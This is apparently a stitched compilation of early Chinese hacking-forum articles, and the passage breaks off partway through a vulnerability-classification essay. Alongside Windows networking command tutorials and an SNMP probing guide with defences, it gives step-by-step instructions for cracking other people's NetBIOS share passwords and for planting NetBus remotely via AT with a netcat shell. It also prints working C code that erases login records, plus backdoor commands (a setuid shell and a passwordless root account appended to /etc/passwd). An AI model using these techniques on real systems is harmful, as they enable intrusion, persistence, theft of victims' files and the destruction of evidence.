NET COMPUTER NET HELPMSG NET START
NET CONFIG NET LOCALGROUP NET STATISTICS
NET CONFIG SERVER NET NAME NET STOP
NET CONFIG WORKSTATION NET PAUSE NET TIME
NET CONTINUE NET PRINT NET USE
NET FILE NET SEND NET USER
NET GROUP NET SESSION NET VIEW

NET HELP SERVICES 列出用户可以启动的网络服务。
NET HELP SYNTAX 解释如何阅读 NET HELP 语法行。
NET HELP command MORE 用于逐屏显示帮助。

我可就不逐样解释了——这样会把我的手指累坏，就说说常用的两个命令吧

a.net view

这个命令的语法是：NET VIEW ［computername ／DOMAIN［：domainname］］
NET VIEW ／NETWORK：NW ［computername］

NET VIEW 用于显示一个计算机上共享资源的列表。当不带选项使用本命令时，
它就会显示当前域或网络上的计算机上的列表。

computername 指用户希望浏览其共享资源的计算机。
／DOMAIN：domainname 指定用户希望浏览有效的计算机所在的域。如果省略了域名，
就会显示局域网络上的所有域。
／NETWORK：NW 显示 NetWare 网络上所有可用的服务器。如果指定了一个计算
机名，就会显示NetWare 网络中那个计算机上的可用资源。

至于举例嘛，比如你知道一个远程计算机***.***.**.***上有开资源共享，那么运行
net view ***.***.**.*** 就可以了

b.net use

这个命令的语法是：NET USE ［devicename *］ ［computernamesharename［volume］ ［password *］］
［／USER：［domainname］username］
［［／DELETE］ ［／PERSISTENT：｛YES NO｝］］

NET USE ［devicename *］ ［password *］］ ［／HOME］

NET USE ［／PERSISTENT：｛YES NO｝］

NET USE 用于将计算机与共享的资源相连接，或者切断计算机与共享资源的
连接。当不带选项使用本命令时，它会列出计算机的连接。

devicename 指定一个名字以便与资源相连接，或者指定要切断的设备。有两种类型
的设备名：磁盘驱动器 （D： 至 Z：） 和打印机 （LPT1： 至 LPT3：）。输入
一个星号来代替一个指定的设备名可以分配下一个可用设备名。

computername 指控制共享资源的计算机的名字。如果计算机名中包含有空字符，
就要将双反斜线 （） 和计算机名一起用引号 （" "）括起来。计算机名
可以有1 到15 个 字符。

sharename 指共享资源的网络名字。
volume 指定一个服务器上的 NetWare 卷。用户必须安装 Netware 的客户服务
（Windows NT 工作站） 或者 Netware 的网关服务 （Windows NT 服务
器） 并使之与NetWare 服务器相连。
password 指访问共享资源所需要的密码。

* 进行密码提示。当在密码提示符下输入密码时，密码是不会显示的。
／USER 指定连接时的一个不同的用户名。
domainname 指定另外一个域。如果缺省域，就会使用当前登录的域。
username 指定登录的用户名。
／HOME 将用户与他们的宿主目录相连。
／DELETE 取消一个网络连接，并且从永久连接列表中删除该连接。
／PERSISTENT 控制对永久网络连接的使用。其缺省值是最近使用的设置。
YES 在连接产生时保存它们，并在下次登录时恢复它们。
NO 不保存正在产生的连接或后续的连接；现有的连接将在下次登录时被
恢复。可以使用 ／DELETE 选项开关来删除永久连接。

PS：前两天在绿色兵团的贴子里见到一位仁兄的话，与这个命令有异曲共工之妙，也说明一个大概：
在浏览器中输入 file：／／／***.***.**.***c￥

则网上共享的C盘内容就会显示出来了，就仿佛用浏览器上FTP站点看到的一样。各位不妨试试，还可试试举一反三……

5.at： 排定在特定的日期和时间运行某些命令和程序。

运行 AT 命令之前必须先启动 Schedule 服务。瞧，现炒就得现卖，刚学了net命令，但这个start命令我可没详述，自已看看帮助文件，摸索一下各种命令的用法吧。

C：》net start schedule
Schedule 正在启动服务.....
Schedulw 服务启动成功。

AT ［computername］ ［ ［id］ ［／DELETE］ ／DELETE ［／YES］］
AT ［computername］ time ［／INTERACTIVE］
［ ／EVERY：date［，...］ ／NEXT：date［，...］］ "command"

computername 指定远程计算机。 如果省略这个参数
命令会被排定在本机上运行。
id 指定给排定进度命令的识别号。

／delete 删除某个已排定进度的命令。如果省略标识，计算机上所有已排定进度的
命令都会被删除。
／yes 用于删除所有作业，且不想在运行删除时显示确认
信息 。
time 指定命令运行的时间。
／interactive 允许作业在运行时，与用户通过桌面交互。

／every：date［，...］ 指定在每周或每月的某日 （或某几日） 运行命令。
如果省略日期，则默认为在每月的本日运行。

／next：date［，...］ 指定在下一个指定日期 （如，下周三），运行命令。
如果省略日期，则默认为在每月的本日运行。

"command" 准备运行的 Windows NT 命令或批处理文件。

知道了如何使用AT，再来看看如何在远程NT上运行ntsrv.exe：
1 利用管理员登陆到目的服务器，方法为： net use x.x.x.xipc￥ "adminpwd" ／user："adminuser"（这里具体方法可参见KILLUSA的文章《HOW TO GET IN NT》）
2 利用ntsrv.exe启动远程： netsvc x.x.x.x schedule ／start
3 利用AT.EXE在远程服务器设置程序定时运行，当然最快运行最理想，所以，你可以用letmein.exe得到服务器的时间，然后：
at x.x.x.x 00：00 ntsrv.exe ／port：64321
其中00：00要改为用letmein.exe得回来的具体时间+一点容量，等一会后，再在本地启动netbus.exe，键入目的服务器得ip地址或hostname，连接！比如第一种方法，你想要在目的服务器运行诸如病毒之类的东东，可以利用netbus得上传功能，将各种“大补丸”上传至目的服务器，再用netbus的"Start program"，键入完整路径，就ok了！第二种方法是利用netbus的“App redirect”功能，启动远程telnet服务，如下：在netbus中击“App redirect”，键入"C：》winntsystem32cmd.exe"，Port为：4321，服务就启动了，然后在本地运行：nc x.x.x.x 4321，出现dos启动的画面就表示连接成功：
Microsoft（R） Windows NT（TM）
（C） Copyright 1985-1996 Microsoft Corp.
C：》
注：这里有一小段是抄KILLUSA的文章——别找我要稿费啊^&^

6.netstat 这是一个观察网络连接状态的实用工具。

它能检验IP的当前连接状态，在断定你的基本级通信正在进行后，就要验证系统上的服务。这个服务包括检查正在收听输入的通信量和／或验证你正在创建一个与远程站点的会话，它可以很轻松地做到这一点。网上也可以看到很多如X-netstat之类的工具，是WIN界面的，更加直观而已，并没有多什么功能，这个命令的具体用法如下：

Displays protocol statistics and current TCP／IP network connections.（显示协议与当前网络连接）

NETSTAT ［-a］ ［-e］ ［-n］ ［-s］ ［-p proto］ ［-r］ ［interval］

-a Displays all connections and listening ports.（显示所有连接和监听端口）
-e Displays Ethernet statistics. This may be combined with the -s
option.（显示以太连接，可以与-s连用）
-n Displays addresses and port numbers in numeri

Ⅰ Ping
C:\> Ping 61.136.253.204 [向61.136.253.204发送数据包]
Pinging 61.136.253.204 With 32 bytes of data: [正在发送 32 字节的包到 ：61.136.253.204]

Request timed out. [丢包 原因：超时]
Reply from 61.136.253.204: bytes=32 time=62ms TTL=120 [正确抵达|大小32字节|消耗时间 62ms ]
Reply from 61.136.253.204: bytes=32 time=69ms TTL=120
Reply from 61.136.253.204: bytes=32 time=59ms TTL=120

Ping statistics for 61.136.253.204 [资料统计]
Packets: Sent = 4, Received = 3, Lost = 1 <25% loss>, [发送了4个数据包，收到了3个，丢失1个占25% ]
Approximate round trip times in milli-seconds:
Minimum = 59ms, Maximum = 69ms, Average = 63ms [最快抵达 59ms 最慢 69 ms 平均时间 63ms]

现在我们来加入命令参数：
C:\> Ping -a 61.136.253.204 -l 1 -t [-a 代表同时获取主机名 -l 1 指定 包大小为 1bytes -t 直到用户手动终止]
Pinging XINGXING [61.136.253.204] With 1 bytes of data:

Reply from 61.136.253.204: bytes=1 time=49ms TTL=120 [因为只发送1字节的包，所以时间缩短了]
Reply from 61.136.253.204: bytes=1 time=59ms TTL=120
Reply from 61.136.253.204: bytes=1 time=54ms TTL=120
Reply from 61.136.253.204: bytes=1 time=55ms TTL=120
Reply from 61.136.253.204: bytes=1 time=50ms TTL=120
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120
Reply from 61.136.253.204: bytes=1 time=49ms TTL=120

Ping statistics for 61.136.253.204
Packets: Sent = 7, Received = 7, Lost = 0 <0% loss>, [发送了7个数据包，收到了7个，丢失0个占0% ]
Approximate round trip times in milli-seconds:
Minimum = 49ms, Maximum = 59ms, Average = 52ms [最快抵达 59ms 最慢 69 ms 平均时间 63ms]
Control-C [按 Ctrl + C 强行终止]
^C
C:\>

——————————————————————————————————————————
——————————————————————————————————————————
——————————————————————————————————————————

Ⅱ Netstat [这是一个观察网络连接状态的实用工具]
C:\> Netstat -a [显示协议与当前网络连接]

Active Connections [活动的连接]

[端口类型] [本地的] [外部连接] [状态]
Proto Local Address Foreign Address State
TCP freefwq:telnet freefwq:0 LISTENING [端口类型 TCP 端口 Telnet 监听状态]
TCP freefwq:epmap freefwq:0 LISTENING
TCP freefwq:microsoft-ds freefwq:0 LISTENING
TCP freefwq:1026 freefwq:0 LISTENING [端口类型 TCP 端口 1027 **** ]
TCP freefwq:1027 freefwq:0 LISTENING
TCP freefwq:5277 freefwq:0 LISTENING
UDP freefwq:microsoft-ds *:*
UDP freefwq:3001 *:*
UDP freefwq:3005 *:* [端口类型 UDP 端口 3005]
UDP freefwq:4000 *:*
UDP freefwq:5419 *:*
.
.
.
C:\> Netstat -n -a [扩展命令参数]

Active Connections [活动的连接]

TCP 192.168.0.1:139 0.0.0.0:0 LISTENING
TCP 192.168.0.1:3002 0.0.0.0:0 LISTENING
TCP 192.168.0.1:3003 0.0.0.0:0 LISTENING
TCP 192.168.0.1:3004 0.0.0.0:0 LISTENING
TCP 211.91.155.117:139 0.0.0.0:0 LISTENING
TCP 211.91.155.117:8384 61.186.175.113:2887 ESTABLISHED [现在就可以很清楚的看见IP地址和端口名了]
UDP 0.0.0.0:135 *:*
UDP 0.0.0.0:445 *:*
UDP 0.0.0.0:3001 *:*
UDP 0.0.0.0:3005 *:*
UDP 0.0.0.0:4000 *:*
.
.
.
C:\> Netstat -e -a [扩展命令参数]

Interface Statistics [通信数据统计]

Received [收到的] Sent [发送的]

Bytes [字节] 91930821 97757485
Unicast packets [Unicast型] 413966 415520
Non-unicast packets 4004 1095
Discards 0 0
Errors [错误的] 0 0
Unknown protocols [未知协议] 1564

———————————————————————————————————————————
———————————————————————————————————————————
———————————————————————————————————————————

Ⅲ AT [排定在特定的日期和时间运行某些命令和程序]

C:\> AT
列表是空的。 [因为我们现在没有给任何指定]

C:\> AT 22:30 Start C:\如果这都不算爱.mp3
新加了一项作业，其作业 ID = 1 [现在我们新建立了一个任务 在22:30分 系统将自动播放歌曲]

C:\> AT
状态 ID 日期 时间 命令行 [我们输入 AT 就可以看见先前的任务已经指定了]
-------------------------------------------------
1 今天 下午 22:00 Start C:\如果这都不算爱.mp3

C:\> AT 1 /Delete [删除1号任务]

———————————————————————————————————————————
—— 打字打的头昏眼花了，算了 NET 命令就简单介绍几个好了 ———
———————————————————————————————————————————
Ⅳ Net

1. Net user [查看用户列表，或者添加用户]

C:\> Net user
[下面将会显示本机上的用户]

C:\> Net user FengXiaoTian /add
[将在系统中添加一个新用户 名字叫 FengXiaoTian

C:\> Net user administrator
[查看管理员的登陆情况 很有用的哦！万一管理员现在在线 。。。。]

C:\> Net user FengXiaoTian /delete
[删除用户]

2. Net View [用于显示一个计算机上共享资源的列表。当不带选项使用本命令时，它就会显示当前域或网络上的计算机上的列表。]

C:\> Net View [显示网络计算机列表]

服务器名称 注释

-----------------------------
\\FOX
\\GAOWEI
\\LHL
\\WANGWEI
\\ZWJ

C:\> Net View \\FOX [显示FOX鸡的共享内容]

共享名 类型 使用为 注释

-------------------------------
G Disk
Music Disk
SharedDocs Disk
命令成功完成。 ——————————


基于Apache的Web页面访问权限控制

假设你有一些敏感的信息要放在Intranet/Internet上，你首先可能会想到自己开发一个用户身份认证的系统来保护你的Web页面。其实Apache本身就自带了限制用户访问Web页面的机制，实现起来也不复杂。

本文介绍在Linux+Apache上的实现方法：

1、修改http.conf
    假设你想控制/usr/local/apache/htdocs下各目录的不同访问权限，你可以在与之间加入一行：
AllowOverride All
    意思是在/usr/local/apache/htdocs下不同目录的访问权限由该目录下的.htaccess文件来控制，而且不同目录的权限策略可互相覆盖。

2、编辑你想要控制的目录下的.htaccess文件
    假设你的phpmyadmin目录在/usr/local/apache/htdocs下，你可以这样在phpmyadmin目录下创建一个.htaccess文件，内容如下：

AuthUserFile /usr/local/apache/pass/pwdPhp
AuthType Basic
AuthName "Database Security Zone"
ErrorDocument 401 /catchErrors/err_401.html

require valid-user

该文件说明了几个问题：
(1) 用户信息存放在/usr/local/apache/pass/pwdPhp中.
(2) 认证类型为基本型(此外还有一些其他的加密类型).
(3) ErrorDocument 所指向的html文件.
(4) 认证方式:用户认证(valid-user)或组认证(valid-group).

3. 生成用户密码文件
有一个用户密码生成程序:htpasswd(在/usr/local/apache/bin下), 它可以加入用户密码信息到指定的文件中,如/usr/local/apache/pass/pwdPhp. 我的用户密码文件内容如下:

admin:a0Hplbj33QjV2
guest:R0BYSO383QjVT

4. 重起apache deamon
/usr/local/apche/bin/apachectl restart

5. 测试
用IE浏览受保护的页面，如http://ip/phpmyadmin/ (可能需要refresh几次才能凑效)，这时应该出现一个身份认证窗口，你需要输入用户名（admin / guest) 和密码（******）才能访问这个页面。


基于NetBIOS的简单Windows进攻法

大家好，近来网络上的进攻方法层出不穷，但有关的详情不是不够详细，就是太“抽象”，我是catsun，下面和大家讨论一下有关如何进攻NetBIOS。warm-up!Go。

什么是SMB?

为了能沟通，你和我都需要共同的语言，如Chinese or English。计算机也一样，有很多计算机“语言”用于沟通互连在网上的机器，这些语言叫“协议”。TCP/IP, NETBEUI, IPX, SNA 和 Appletalk都是协议。有一种很流行的协议，它能使你共享文件，磁盘，目录，打印机，甚至网络端口；这个协议叫做SMB(Server Message Block)标准，它能被用于Warp连接, Warp 4, LAN Server, Lan Server/400, IBM PC Lan and Warp Server (from IBM), LANtastic in SMB mode (from Artisoft), MS-Client, Windows for Workgroups, Windows 95, LAN Manager and Windows NT Workstation & Server, DEC Pathworks, LM/UX, AS/UX, Syntax and Samba客户端或服务器之间的信息沟通。

怎样应用SMB?

Windows SMB被叫做“文件和打印共享”，它允许你访问共享被其他用户许可的文件和文件夹。基于Windows 95, 98或Windows Millenium的共享，即使你加了密码也是不安全的，利用这个共享，你可以得到从游戏到信用卡号码，音乐或数据库，甚至任何你想要的信息。

怎样去进攻?

1)下载SMBScanner(http://www.cners.com/tools/smbscanner.zip),然后打开它，输入一个IP类。
（比如：4.3.37.1-4.3.38.255）建议你去下载IP地址分配表。
2)当搜索完成后，不要用软件本身的功能来“暴力”破解共享密码，请看下一步。
3)打开“运行”(开始-运行)或同时按“窗口键和R”，键入一个用SMBScanner搜出来的IP地址，例子：假如搜出的地址是：3.5.137.138，然后在运行窗口中键入"\\3.5.137.138"，按回车。然后是等...这要看你的连接速度，一般不会超过30秒，完成后将出现一个带共享名的文件夹。如果它出现了一些像“不共享”“IP地址连接不上”等，不要灰心，毕竟进攻电脑不是那么容易的事儿，你没有失败，看其他的IP。
4)单击一个带共享名的文件夹，打开它，通常如果此目录叫“C”的话，大概就是受害者的C盘了（希望如此，打开个“game”你还想下载他的游戏么？）打开带共享名的文件夹，这时将出现一个对话框，要密码。如果没有密码就太好了，你可以直接访问和下载文件了，但不要在此目录里运行可执行文件，按ctrl and C把它们复制到你的本地机器上再执行（catsun在此建议您要注意你下载的文件，万一有病毒!!!，不会有这样阴险的人吧引你上钩）；如果对话框向你要密码，请看下一步。
5)Windows 95, 98, and Millenium有个“速度破解漏洞”（如果想知道详情的话，请来信java@cners.com，我有时间也会写出来的。）进入议题：再打开“运行”窗口，输入“command”如果你在用WindowsNT/2000的话请输入“cmd”打开一个命令窗口，键入“nbtstat -a ipaddress”（帮助文档情况请键入“？”）你将看到如下的输出：

Local Area Connection:
Node IpAddress: [4.3.37.XXX] Scope Id: []

NetBIOS Remote Machine Name Table

Name Type Status
---------------------------------------------
MATRIX <00> UNIQUE Registered ------------------------重要!
WORKGROUP <00> GROUP Registered
MATRIX <20> UNIQUE Registered
MATRIX <03> UNIQUE Registered
WORKGROUP <1E> GROUP Registered
ADMINISTRATOR <03> UNIQUE Registered
WORKGROUP <1D> UNIQUE Registered
..__MSBROWSE__.<01> GROUP Registered
MATRIX <6A> UNIQUE Registered
MATRIX <87> UNIQUE Registered

MAC Address = 00-80-C6-F9-X-X

最靠前的名字是NetBIOS name (MATRIX)，第六行的是用户名，（关于词名字，还有其他的进攻方法，但是那是另外一课了，“暴力法”）我在以前的文章里写过的）。注意：请记好NetBIOS name!，我们将用它破解共享名文件夹的password。

6)下载，然后打开 PQwak(http://www.cners.com/tools/PQwak.exe)。

--在NBMAME右面输入nbtstat中显示的NetBIOS name
--在SHARE栏里输入受密码保护的共享文件夹名。
--在IP栏里输入IP地址（期望我们找到的对象在用DSL或长时间上网，否则我们做了那么多后，他下线了，岂不是！·#￥%%……）
--设置DELAY，要看你的连接方式，如果你用56k的小猫的话，建议把DELAY设置在1000-2000，如果你用ADSL的话，建议在800-900。

7)运行 PQwak，不会让您浪费很长时间，完成后返回到受密码保护的共享文件夹，打开它，当它要网络密码时，将PQwak里的密码拷贝下来，再粘贴到密码对话框，然后 Do what you exactly want to do!

注意：如果你运行PQwak后出现“the password is a ' or the password is wrong”，请将DELAY数值调高。

By catsun(catsun@cners.com)


基于SNMP的信息刺探扫描与防护策略

.abu.

很多人开始明白对于WIN2K来说，关闭了TCP139和445端口以后，安全性会提高很多，起码很多对

系统信息的刺探扫描也无法进行了。

一般来说，的确是这样。但要做到真正完善的安全，还需要从每一个细节去考虑是否会存在隐患。

比如，对于完全安装的WIN2K或者说启动了 简单网络管理协议（SNMP）的系统来说，仍然将存在

非常致命的隐患，完全将你的系统暴露给所有人。

一、从SNMP说起

SNMP，Simple Network Management Protocol，简单网络管理协议。用于管理IP网络上结点的协议。

几乎所有的网络设备和网络操作系统都支持SNMP。

接下来要介绍的是：community strings，

也不知道中文翻译是什么意思，呵呵，不过如果理解成为基于SNMP协议信息通信时使用的

一种“查询密码”应该不为过吧。

当使用特殊的客户端应用程序，通过该“查询密码”community strings的验证，将获得

对应的权限（只读 或者 读写)对SNMP中管理信息库（MIB）进行访问。

而管理信息库（MIB）中则保存了系统所有的重要信息。

也就是说，如果可以知道community strings 这个“查询密码”，我们就可以刺探系统的信息了。

比较遗憾的是，很多网络设备厂商以及操作系统厂商，在初始状态下，都使用比较

统一的“查询密码”呵呵，这也就给我们提供了足够的方便。

二、对WIN2K进行刺探扫描

以WIN2K来说，一旦安装并启动了简单网络管理协议，系统将打开

UDP 161 snmp

UDP 162 snmptrap

两个端口。

具体做什么我们不去细究。需要注意的是，这里使用的是UDP端口，而不是TCP端口。

同时，WIN2K系统支持初始的“查询密码”community strings 为：public

我们只要通过一款Resource Kit里面的工具snmputil，就可以方便的获得非常多的信息。

在这里可以下载：http://www.patching.net/abu/tools/win/snmputil.exe

呵呵，简单介绍一下用法

snmputil，就是程序名拉，呵呵。

get，就理解成获取一个信息。

getnext，就理解成获取下一个信息。

walk，就理解成获取一堆信息（嗯，应该说所有数据库子树/子目录的信息）

agent，具体某台机器拉。

community，嗯就是那个“community strings”“查询密码”拉。

oid，这个要多说一下，这个呢，就是物件识别代码（Object Identifier）。

可以把oid理解成MIB管理信息库中各种信息分类存放树资源的一个数字标识。

好了，具体的资料可以查阅相关文章。

开始刺探信息：

尝试获得对方机器当前进程列表

snmputil.exe walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2

尝试获得对方机器系统用户列表

snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1

呵呵

是不是很容易的就刺探出了对方的信息？

当然，这样的命令还可以做很多

整理一些列在下面：

snmputil walk 对方ip public .1.3.6.1.2.1.25.4.2.1.2 列出系统进程

snmputil walk 对方ip public .1.3.6.1.4.1.77.1.2.25.1.1 列系统用户列表

snmputil get 对方ip public .1.3.6.1.4.1.77.1.4.1.0 列出域名

snmputil walk 对方ip public .1.3.6.1.2.1.25.6.3.1.2 列出安装的软件

snmputil walk 对方ip public .1.3.6.1.2.1.1 列出系统信息

三、一些工具的推荐

snmputil的功能已经完全足够用来进行对网络主机的刺探扫描了，只是因为它是命令行下的工具

而且，超常的oid标识符也并不是那么方便输入。

这里我推荐两款非常不错的网络管理工具，当然，它们的另一个作用就是snmp的刺探。

SolarWinds 2001的IP Network Browser

IP Network Browser是一款snmp浏览工具，它可以提供在输入正确的community strings“查询密码”

后的运行着snmp服务的WIN2K/NT系统上的任何可得的信息。

在下图中，我们可以看到“查询密码”为：public

而在Accounts（账号）表单里，我们已经获得了同上面snmputil命令行方式一样的反馈信息。

功能强大噢。

整个SolarWinds 软件套件更包含了更多的网络管理工具，以后我将在其他的文章里继续介绍。

LANguard Network Scanner 2.0

这是一个网络安全综合扫描工具，主要功能：显示每台主机的NETBIOS主机名，MAC地址，搜寻

共享，操作系统类型判断，并测试共享密码的安全性等等，以html格式输出。

主功能界面：

选中左边SNMP选项，右键呼出SNMPWalk功能

呵呵，出现了很直观的图形界面的MIB树的结构，直接通过选择进入相应的目录树

或者直接输入oid号，就可以查询出对方主机的相应信息。

如账号信息：

当然，LANguard Network Scanner还有一些更高级更适用的功能

比如暴力破解community strings，呵呵自己配置一个字典的话

会非常有效的。

四、如何防范基于snmp的刺探扫描

首先需要注意的是，snmp服务的通讯端口是UDP端口，这也就是大部分网络管理人员很容易忽略的地方。

往往某些网管配置服务器阻断了NetBIOS空会话的建立，就认为系统安全有了相当的保障，可由于安装

了SNMP服务，不知不觉中，就给系统带去了极大的隐患。

最方便和容易的解决方法，就是关闭SNMP服务，或者卸载掉该服务。

如果关掉SNMP服务不方便的话，那么可以通过修改注册表或者直接修改图形界面的SNMP服务属性

进行安全配置。

开始——程序——管理工具——服务——SNMP Service——属性——安全

在这个配置界面中，可以修改community strings，也就是微软所说的“团体名称”，呵呵，也就是

我所说的“查询密码”。或者可以配置是否从某些安全主机上才允许SNMP查询。

不过NT4环境下的朋友就必须修改注册表了。

修改community strings，在

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\ValidCommunities]

下，将public的名称修改成其它的名称就可以了。

如果要限定允许的ip才可以进行SNMP查询，可以进入

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SNMP\Parameters\PermittedManagers]

添加字符串，名称为“1”，内容为要允许的主机IP。

当然，如果允许多台机器的话，就要名称沿用“2、3、4”等名称了。

到这里，基于SNMP的信息刺探与防护策略也基本说完了。

文章里面有很多名称或者解释都是我自己表述的，不够全面和正式，但对初学者来说，应该还是有些

帮助的吧

.abu.

中华补天网


几个常用的入侵小技巧

1 UPLOAD
侵入成功后，拿到root权限了，这个东东可以把他的服务器的访问权限改了，让任何人都可以上传文件 !
root 状 态 下, 运 行 Install 后,
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。
# chmod 755 install
#./install
$ more install
#! /bin/csh -f
cc upload.c
cp a.out upload
chown root upload
chmod 755 upload
chmod u+s upload
$ more upload.c
#include <stdio.h>
main()
{
char filename[48];
printf( "This program will upload up.txt ASCII file to specified file\n"
    );
printf( "XXX Copyright Reserved\n" );
printf( "Where to upload (include path and filename)? " );
gets( filename );
upload( filename );
}
int upload( filename )
char *filename;
{
FILE *fp,*outp;
char c;
fp=fopen( "up.txt","r" );
outp=fopen( filename,"w" );
if( fp== NULL ) {
printf( "file not exist." );
return 0;
}
for( ;; ) {
c= fgetc( fp );
if feof( fp ) break;
printf( "%c",c );
fputc( c, outp );
}
fclose( fp );
fclose( outp );
return 1;
}

2 破坏现场
进入系统后，出来以前怎么破坏现场？抹掉自己的脚印?

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog.
请使用专门的编辑器

例子:

#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;
{
struct utmp utmp_ent;

if ((f=open(UTMP_NAME,O_RDWR))>=0) {
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof( utmp_ent ));
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
write (f, &utmp_ent, sizeof (utmp_ent));
}
close(f);
}
}

void kill_wtmp(who)
char *who;
{
struct utmp utmp_ent;
long pos;

pos = 1L;
if ((f=open(WTMP_NAME,O_RDWR))>=0) {

while(pos != -1L) {
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
if (read (f, &utmp_ent, sizeof (struct utmp))<0) {
pos = -1L;
} else {
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
bzero((char *)&utmp_ent,sizeof(struct utmp ));
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND);
write (f, &utmp_ent, sizeof (utmp_ent));
pos = -1L;
} else pos += 1L;
}
}
close(f);
}
}

void kill_lastlog(who)
char *who;
{
struct passwd *pwd;
struct lastlog newll;

if ((pwd=getpwnam(who))!=NULL) {

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0)
    {
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0);
bzero((char *)&newll,sizeof( newll ));
write(f, (char *)&newll, sizeof( newll ));
close(f);
}

} else printf("%s: ?\n",who);
}

main(argc,argv)
int argc;
char *argv[];
{
if (argc==2) {
kill_lastlog(argv[1]);
kill_wtmp(argv[1]);
kill_utmp(argv[1]);
printf("Zap2!\n");
} else
printf("Error.\n");
}

3 突破SHELL
许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制Shell,如 pink 。所以如果你想攻击这个系统的话，首先必须要冲破这个定制shell。
我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下：
(1).在定制Shell中选择编辑文件，这时系统启动 vi。
(2).在 vi 中，输入以下命令序列注意：输入的命令包括最前面的 ':' )
:set shell=/bin/csh
:shell
3.这时，就像在DOS程序的File菜单中选择Dos Shell菜单项一样，系统启动一个Shell，而这个Shell刚刚被我们设定成 /bin/csh，因此我们就得到了一个命令行式的Unix Shell。

4 后门
进入一个系统以后随手留下一个后门确实是很好的习惯 这里介绍几种简单的后门设置方法:
(1). setuid
#cp /bin/sh /tmp/.backdoor
#chmod u+s /tmp/.backdoor
加上 suid 位到shell 上，最为简单方便.
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd
即给系统增加一个 id 为 0（root)的帐号，无口令.
(3). echo "+ wyj">>/.rhosts
即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令，不知道的人是不能进去的.前提是目标的port 512or513or514 opening.

5 用telnet上传文件
如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢?
方法很简单:
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子:
begin 644 file.bat
M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT<E!>4%]J
M95@T85!9+7@M04%28#!@*CTP,'500D])04%!049+04]"4$E$34-"04Q%04I-
M3D-"2D%,24%!14U-3D-"1D5'24=&0T%%3D="1T1(0T=02$='2DA#2$9(1$-!
M1TI(1$-!1T1'4$=.1TI'3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@
M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O
E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@``
`
end
sum -r/size 17903/262
全部都是可见的ASCII字符了
2.用TELNET连接到主机后输入
$ cat >a
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口
按^d
在当前目录下产生文件a
3.uudecode a
文件复原,然后chmod即可


计算机网络系统安全漏洞分类研究

by stardust
stardust@xfocus.org
www.xfocus.org

写本文的目地是为了总结一些东西，解决在试图构造一个漏洞数据库的过程中碰到的主要问题，也就是如何对计算机网络漏洞进行分类的问题。文中的一些想法并不成熟，有些甚至连自己也不满意，权作抛砖引玉，以期与在这方面有深入研究的同仁交流，共同提高完善。

一个计算机网络安全漏洞有它多方面的属性，我认为主要可以用以下几个方面来概括：漏洞可能造成的直接威胁，漏洞的成因，漏洞的严重性，漏洞被利用的方式。以下的讨论将回绕这几个方面对漏洞细分其类。

A．按漏洞可能对系统造成的直接威胁
可以大致分成以下几类，事实上一个系统漏洞对安全造成的威胁远不限于它的直接可能性，如果攻击者获得了对系统的一般用户访问权限，他就极有可能再通过利用本地漏洞把自己升级为管理员权限：

一．远程管理员权限
攻击者无须一个账号登录到本地直接获得远程系统的管理员权限，通常通过攻击以root身份执行的有缺陷的系统守护进程来完成。漏洞的绝大部分来源于缓冲区溢出，少部分来自守护进程本身的逻辑缺陷。

典型漏洞：
IMAP4rev1 v10.190版的守护进程imapd的AUTHENTICATE命令存在读入参数时未做长度检查，构造一个精心设计的AUTH命令串，可以溢出imapd的缓冲区，执行指定的命令，由于imapd以root身份运行，从而直接获得机器的root权限。
WindowsNT　IIS 4.0的ISAPI DLL对输入的URL未做适当的边界检查，如果构造一个超长的URL，可以溢出IIS (inetinfo.exe)的缓冲区，执行我们指定的代码。由于inetinfo.exe是以local system身份启动，溢出后可以直接得到管理员权限。
早期AIX 3.2 rlogind代码存在认证逻辑缺陷，用rlogin victim.com -l -froot，可以直接以root身份登录到系统而无须提供口令。

二．本地管理员权限
攻击者在已有一个本地账号能够登录到系统的情况下，通过攻击本地某些有缺陷的suid程序，竞争条件等手段，得到系统的管理员权限。

典型漏洞：
RedHat Linux的restore是个suid程序，它的执行依靠一个中RSH的环境变量，通过设置环境变量PATH，可以使RSH变量中的可执行程序以root身份运行，从而获得系统的root权限。
Solaris 7的Xsun程序有suid位，它对输入参数未做有效的边界检查，可以很容易地溢出它的缓冲区，以root身份运行我们指定的代码，从而获得管理员权限。
在windows2000下，攻击者就有机会让网络DDE（一种在不同的Windows机器上的应用程序之间动态共享数据的技术）代理在本地系统用户的安全上下文中执行其指定的代码，从而提升权限并完全控制本地机器。 三．普通用户访问权限
